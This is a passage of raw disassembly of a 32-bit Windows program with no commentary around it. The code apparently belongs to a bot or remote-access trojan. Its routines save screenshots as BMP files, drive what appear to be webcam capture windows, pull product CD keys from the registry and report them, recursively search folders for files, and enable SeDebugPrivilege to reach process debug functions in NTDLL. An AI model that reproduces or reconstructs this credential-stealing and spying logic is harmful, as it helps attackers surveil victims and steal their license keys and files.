		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43ADDC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43AC74
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43ADE0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43ACC8
		mov	ebx, eax

loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2660802h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2650000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop

loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 2640811h
		push	1
		pop	esi

loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43ACFC
		push	[ebp+var_4]
		call	dword_43AC60
		mov	edi, [ebp+var_20]

loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43AC60
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------

loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43AC60
		push	[ebp+var_4]
		call	dword_43AC60

loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax

loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------

loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------

loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax

loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856

loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4

loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------

loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx

loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4

loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h

loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h

loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4

loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43ADF4

loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43ADF4

loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4

loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43ADF4

loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43AE48
		mov	eax, ebx

loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------

loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------

loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax

loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F

loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4

loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------

loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx

loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43ADF4

loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h

loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax

loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4

loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43ADF4

loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43ADF4

loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43ADF4

loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43ADF4

loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4

loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43ADF4

loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43AE48
		mov	eax, ebx

loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43AE08
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43ACA4
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax

loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------

loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------

loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]

loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h

loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------

loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43AD74
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi

loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2

loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E

loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jnz	short loc_408F31

loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		nop
		call	near ptr 26A03C6h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028

loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jnz	short loc_408FD9

loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		call	near ptr 26A03C6h
		nop
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------

loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2710000h
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43AA44, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43AA38, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43AC48, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43AA40, eax
		call	esi
		mov	dword_43AA3C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_439A38
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43A238
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43AC50
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------

loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539

loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43AC50, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------

loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------

loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706

loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80

loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26F0723h
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------

loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C

loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h

